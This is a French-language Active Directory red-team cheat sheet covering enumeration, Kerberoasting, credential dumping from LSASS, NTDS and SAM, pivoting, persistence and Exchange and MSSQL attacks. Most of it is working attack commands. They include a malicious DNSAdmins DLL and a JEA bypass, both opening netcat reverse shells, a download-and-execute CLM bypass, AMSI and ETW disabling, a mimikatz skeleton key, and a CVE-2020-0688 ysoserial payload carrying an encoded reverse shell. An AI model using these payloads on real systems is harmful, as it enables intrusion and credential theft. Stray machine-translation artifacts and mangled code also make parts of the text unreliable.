Techniques Red Team

Techniques d'accès initial (bientôt)
Techniques d'exécution de code (bientôt)
Techniques de mouvement latéral (bientôt)
Techniques d'évasion (bientôt)
Techniques de persistance (bientôt)
Techniques d'élévation de privilèges (bientôt)
Techniques de vol d'identifiants (bientôt)
Techniques de pivot (bientôt)

Protocoles et terminologies Windows

Guide des protocoles et terminologies Windows (bientôt)

Divers

Soutien

Vous pouvez me soutenir ici 🐱 :

Active-directory-Cheat-sheet

Cet aide-mémoire sur les attaques AD, créé par RistBS, est inspiré du dépôt Active-Directory-Exploitation-Cheat-Sheet.

Résumé

Aide-mémoire d'exploitation AD par RistBS

Outils

Outils PowerShell :

[⭐] Nishang -> https://github.com/samratashok/nishang

Nishang contient plusieurs scripts utiles pour le pentesting Windows dans un environnement PowerShell.

[⭐] PowerView -> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

PowerView est un script de PowerSploit qui permet l'énumération de l'architecture AD pour un éventuel mouvement latéral.

Outils d'énumération :

[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound
[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExe

Boîte à outils d'exploitation AD :

[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket
[⭐] kekeo -> https://github.com/gentilkiwi/kekeo

Outils de dump :

[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz
[⭐] rubeus -> https://github.com/GhostPack/Rubeus

Outil d'écoute :

[⭐] responder -> https://github.com/SpiderLabs/Responder

Composants PowerShell

Astuces PowerShell

Session PS :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100

METHOD 2

$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100

### Abus de PSWA

permet à toute personne possédant des identifiants de se connecter à n'importe quelle machine et à n'importe quelle configuration

**[ ! ] cette action nécessite des identifiants.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

Enumération

Trouver un utilisateur avec SPN

en utilisant PowerView :```powershell Get-NetUser –SPN

> en utilisant [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Énumération des approbations

MapTrust :```powershell Invoke-MapDomainTrust

**Trusts de domaine pour le domaine actuel :**

> en utilisant [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

en utilisant AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain

### Énumération de la forêt

**Détails sur la forêt actuelle :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

Énumération des GPO

Liste des GPO```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

### Énumération des ACL et ACE

**Énumérer tous les ACEs**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

Énumérer les utilisateurs et les permissions```powershell

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

*Vérifier si l'utilisateur a déjà un SPN :*
> en utilisant [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

en utilisant AD Module :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

### Énumération LDAP```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

trouver les comptes de service```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"

*Énumération avec ldapsearch en tant qu'utilisateur authentifié*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

Énumération avec ldapdomaindump (authenticated) avec sortie agréable``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep

*Énumération avec nmap scripts*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

Énumération SMB

énumération avec crackmapexec en tant que non authentifié```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''

*énumération avec crackmapexec (authentifié)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

énumération avec kerbrute, contre le bruteforcing pre-auth Kerberos :```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade

> par défaut, kerbrute utilise le mode le plus sécurisé (18 = sha1) pour récupérer un hash. En utilisant l'option de rétrogradation, nous pouvons récupérer la version du type de chiffrement obsolète (23 = rc4hmac). Ou utilisez getNPusers pour obtenir un hash à la place, c'est plus sûr !

*fournir un mot de passe ou une liste de mots de passe à tester contre les utilisateurs*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

Énumérer quelques utilisateurs```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt

### Pulvérisation de mots de passe sur le domaine```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Extraire le domaine, les groupes et les utilisateurs avec Bloodhound-Python :```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30

Configuration de Bloodhound:```bash
sudo neo4j console
sudo bloodhound

RID Cycling

Structure globale :``` S-1-5-21-40646273370-24341400410-2375368561-1036

- `S-1-5-21`: **S fait référence au SID (Security Identifier)**
- `40646273370-24341400410-2375368561`: **Identifiant de domaine ou d'ordinateur local**
- `1036`: **RID (Identifiant relatif)**

*Structure du SID utilisateur :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID de domaine**
- `1036`: **RID utilisateur**

> en utilisant [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :```bash
cme smb $target -u $username -p $password --rid-brute

en utilisant lookupsid :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000

la valeur "20000" dans lookupsid sert à indiquer combien de RID seront testés


## Élévation de privilèges

### Usurpation de jeton

> La technique d'usurpation de jeton permet d'usurper un utilisateur en volant son jeton, ce jeton permet d'exploiter cette technique en raison des processus SSO, de l'ouverture de session interactive, des processus en cours d'exécution...

> en utilisant [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :

*liste des jetons*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

Démarrer un nouveau processus avec le jeton d'un utilisateur```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

*manipulation des jetons de processus*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

en utilisant Incognito :

charger Incognito et lister les jetons :```bash meterpreter > use incognito meterpreter > list_tokens -g

*jeton d'emprunt de "NT AUTHORITY\SYSTEM" :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting

Énumérer l'utilisateur kerberoastable```powershell Get-DomainUser -SPN | select name,serviceprincipalname

> utilisant [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

en utilisant crackmapexec```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc

*craquer le hash :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

ASREPRoasting

Énumérer l'utilisateur asreproastable```powershell Get-DomainUser -PreauthNotRequired | select name

No text provided.```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

craquer le hash :

hashcat -m 18200 -a 0 hash wordlist.txt --force

DNSAdmin

Énumérer les utilisateurs de ce groupe :```powershell

METHOD 1

Get-NetGroupMember -GroupName "DNSAdmins"

METHOD 2

Get-ADGroupMember -Identity DNSAdmins

*Cette attaque consiste à injecter une DLL arbitraire malveillante et à redémarrer le service dns.exe, puisque le DC sert de service DNS, nous pouvons élever nos privilèges à un DA.*

> Fichier DLL :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

vous pouvez également créer un fichier dll en utilisant msfvenom : msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' -f dll > evil.dll cela exécutera net user administrator aked /domain avec les privilèges SYSTEM

définissez le chemin DLL distant dans le Registre Windows```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll

`\\10.10.14.33\share\evil.dll` : Partage SMB.

**redémarrer le service DNS**```powershell
sc.exe stop dns
sc.exe start dns

Mouvement latéral

WMIExec

utilise l'authentification kerberos```powershell impacket-wmiexec -k -no-pass [email protected]

## Extraction d'identifiants

### Extraction de LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy

https://github.com/Hackndo/lsassy```powershell procdump --accepteula -ma lsass lsass.dmp

Please provide the Markdown content to translate.```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe

INPUT:```powershell psexec.py MEGACORP.LOCAL/[email protected] "C:\Windows\Temp\procdump.exe -accepteula -ma lsass C:\Windows\Temp\lsass.dmp"

```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp

analyser les credentials avec mimikatz```powershell sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords

Vous pouvez le faire localement avec mimikatz en utilisant : `sekurlsa::logonpasswords`.


### Extraction NTDS

**Abus de DRSUAPI pour l'extraction NTDS**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi

Abuser de VSS pour le vidage NTDS

en utilisant Crackmapexec :```powershell crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss

*vous pouvez le faire manuellement aussi.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId

Abus de DPAPI

dump DPAPI BK```bash dpapi.py backupkeys -t $domain/$user:$password@$target

> Déchiffrer DPAPI MK```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password

décryptage du fichier protégé à l'aide de MK```bash dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

*casser la clé maître DPAPI avec JTR*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule

Extraction LSA

vous pouvez utiliser mimikatz avec cette commande : lsadump::secrets

Extraction SAM

sauvegardez la ruche SYSTEM et SAM dans un autre répertoire```powershell reg save HKLM\SAM c:\path\to\SAM reg save HKLM\SYSTEM c:\path\to\SYSTEM

INPUT:```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM

ou utilisez simplement : lsadump::sam

[ 📝 ] Notes : vous pouvez extraire SAM et LSA avec crackmapexec ou secretdump en utilisant ces commandes :```bash secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa

Dump Registry Remotely and Directly

[ ❓ ] Qu'est-ce que le registre ? : le registre est divisé en plusieurs sections appelées hives. Une ruche de registre est une clé de registre de niveau supérieur prédéfinie par le système Windows pour stocker les clés de registre pour des objectifs spécifiques. Chaque ruche de registre a des objectifs spécifiques, il y a 6 ruches de registre : HKCU, HKLM, HKCR, HKU, HKCC et HKPD. Les ruches de registre les plus intéressantes pour le pentesting sont HKU et HKLM.

HKEY_LOCAL_MACHINE appelé HKLM comprend trois clés : SAM, SYSTEM et SECURITY.

extraire SYSTEM et SECURITY à distance depuis HKLM :```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes

> vider le registre HKU à distance avec l'argument hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

Lire le mot de passe GMSA```powershell

$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword

*vidage de gMSA:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Casse de hachages

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
note : certains types de hachage dans hashcat dépendent du **etype**

## Force brute du mot de passe AD

### Liste de mots de passe et d'utilisateurs personnalisée

liste de mots de passe par défaut (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
créer des mots de passe avec bash & hashcat :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
liste de noms d'utilisateur par défaut (users.list) :```
john doe
paul smith
jacaques miller
```
créez des noms d'utilisateur personnalisés en utilisant username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Pivotement

**Pivoter avec WDFW via des règles personnalisées**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*autoriser les connexions à localport*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes

**Local/Remote ports can be forwarded** using **SMB pipes**. You can use [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) or [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) for that.
- `Invoke-Piper` : *utilisé pour rediriger les ports locaux ou distants*
- `Invoke-SocksProxy` : *utilisé pour la redirection dynamique de ports*

**Case 1** *Local port forwarding through pipe forPivot: `-L 33389:127.0.0.1:3389`*

> CÔTÉ SERVEUR :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> CÔTÉ CLIENT :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Cas 2** *Admin only remote port forwarding through pipe forPivot: `-R 33389:127.0.0.1:3389`*

> CÔTÉ SERVEUR :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> CÔTÉ CLIENT :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Cas 3** *Redirection de port dynamique avec Invoke-SocksProxy avec forPivot en tant que NamedPipe: `-D 3333`*

> CÔTÉ SERVEUR :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> CÔTÉ CLIENT :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks est principalement utilisé dans les frameworks C2 et fonctionne avec les implants C2**

*construire un serveur:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### Tunnel RDP via DVC

*partages de lecteurs :*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*mapper les disques :*```powershell
PS > net use x: \\TSCLIENT\X
```
créer un serveur avec SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*Rediriger le port SSF avec le serveur DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD en tant que proxy SOCK*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Persistance

### Injection SIDHistory

### AdminSDHolder et SDProp

> [ ❓ ] : Avec les privilèges DA (Contrôle total/Autorisations d'écriture) sur l'objet AdminSDHolder, il peut être utilisé comme mécanisme de backdoor/persistance en ajoutant un utilisateur avec des autorisations totales (ou d'autres autorisations intéressantes) à l'objet AdminSDHolder.
Dans les 60 minutes (lorsque SDPROP s'exécute), l'utilisateur sera ajouté avec un contrôle total aux AC de groupes comme Domain Admins sans en être réellement membre.

> en utilisant [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> en utilisant [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Exécuter SDProp manuellement*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## Abus des ACL et des ACE

### GenericAll

**lister tous les groupes auxquels l'utilisateur appartient et auxquels il a des droits d'accès explicites**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
soit le nom du module spécifique. Si vous ne spécifiez pas un endpoint, l'API sera énumérée entièrement. Cela permet une recherche ciblée ainsi qu'une analyse complète de la pile.```powershell
net group Administrator aker /add /domain
```
## Contournement de sécurité amélioré

### Interface d'analyse anti-malware```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
Patch d'AMSI depuis Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode

Contourner CLM en utilisant **runspace** :```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### Administration Juste Suffisante

> afficher le niveau actuel des langues :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Contourner JEA dans ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### Stratégie d'exécution```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> contourner EP en utilisant l'encodage :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL pour le vidage des identifiants

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) est une **protection LSA supplémentaire** pour empêcher la lecture de la mémoire et l'injection de code par des **processus non protégés**.

> contourner RunAsPPL avec mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### Désactivation d'ETW```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
vous pouvez essayer des techniques d'obscurcissement sur cette commande. Pour en savoir plus sur ETW, consultez mon cours [ici](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)

## MS Exchange

### Attaques par force brute de mots de passe sur OWA, EWS et EAS

> en utilisant [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> en utilisant [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### Extraction de GAL et OAB

**Extraction du GAL (carnet d'adresses global)**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> en utilisant powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Carnet d'adresses hors ligne) Extraction**

*extraire le fichier OAB.XML qui contient les enregistrements*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*extraire le fichier compressé LZX*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> en utilisant [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange) utilise la fonctionnalité PushSubscription, un utilisateur est capable de capturer les données d'authentification NTLM d'un serveur Exchange avec un simple appel à l'API "PushSubscription"**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon) est le nom donné à CVE-2021-26855 qui permet à un attaquant de contourner l'authentification et d'usurper l'identité d'utilisateurs sur les serveurs MS Exchange**```bash
python proxylogon.py $ip user@fqdn
```
> en utilisant metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

cette CVE permet une RCE sur EWS via des clés cryptographiques fixes

*Obtenir les valeurs pour RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server

### Injection de chemin UNC

[ ❓ ] : Uniform Naming Convention __permet le partage de ressources__ sur un réseau via une syntaxe très précise : `\IP-Server\shareName\Folder\File`

lancez responder : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### Empoisonnement MC-SQLR

*Le protocole de résolution SQL Server est un protocole simple au niveau application utilisé pour le transfert de requêtes et de réponses entre les clients et les services de découverte de serveurs de bases de données.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> nous avons capturé le hash de l'**Administrator** avec ce script VBA.```python
